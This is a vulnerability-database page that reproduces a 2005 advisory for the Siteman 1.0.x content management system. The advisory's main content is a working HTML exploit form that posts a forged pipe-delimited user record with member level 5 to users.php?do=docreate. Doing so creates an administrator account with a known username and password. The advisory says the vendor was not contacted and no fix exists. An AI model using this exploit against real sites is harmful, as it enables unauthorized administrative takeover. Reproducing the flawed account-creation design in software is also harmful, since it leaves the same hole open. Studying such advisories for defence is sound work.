Vulners
Lucene search
siteman.txt
`
God Admin Injection Vulnerability in Siteman 1.0.x,
Discovered by PersianHacker.NET Security Team
by amironline452 (amironline452 hotmail com)
http://www.PersianHacker.NET
http://www.amironline452.tk
Siteman is a Content Management System (CMS) that is so easy to install and use, that
a person who has no knowledge about creating homepages can get a profesionally
looking website up and running in just minutes.
More info @
http://sitem.sourceforge.net/
http://sourceforge.net/projects/sitem/
Discussion:
With this Vulnerability you can create God Admin user in Siteman v1.0.x.
Exploiet:
<html>
<b>These data were recorded.</b><br /><br /><table cellspacing="0"
cellpadding="2"><tr><td>Username(Use this, and not your display name,
when
logging in)</td><td
align="right">amir452</td></tr><tr><td>Password</td><td
align="right"><form><select><option>Click to show password</option>
<option>amir452</option></select></form></td></tr><tr><td>Secret
Question (Asked when you forget your password)</td><td
align="right">amir452</td></tr><tr><td>Answer to secret
question</td><td
align="right"><form>
<select>
<option>Click to show answer</option>
<option>amir452</option>
</select></form>
</td></tr><tr><td>Display name</td><td
align="right">amir452</td></tr><tr><td>Member Level</td><td
align="right"><b>5</b> (Admin)</td></tr><tr><td>email</td><td
align="right">[email protected]</td></tr><tr><td>Hide my email
adress</td><td align="right">no</td></tr><tr><td>Forum
Signature</td><td
align="right">hackers</td></table><br /><br />Is this correct?<br
/><table
cellspacing="0" cellpadding="3"><tr><td>
<form action="users.php?do=new" method="post"><input type="submit"
value="no" /></form></td><td>
<form action="http://www.example.com/users.php?do=docreate"
method="post">
<input type="hidden" name="line"
value="amir452|347a9a8a8d3f364f0bdb82c4208a3207|5|[email protected]|amir452|1105956827|amir452|347a9a8a8d3f364f0bdb82c4208a3207|0|0|0|hackers"
/><input type="submit" value="yes" /></form></html>
the above exploiet creat God Admin user with folowing info:
username: amir452
password: amir452
Note:
Script authors not contacted.
There is no solution at this time.
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
25 Jan 2005 00:00Current
7.4High risk
Vulners AI Score7.4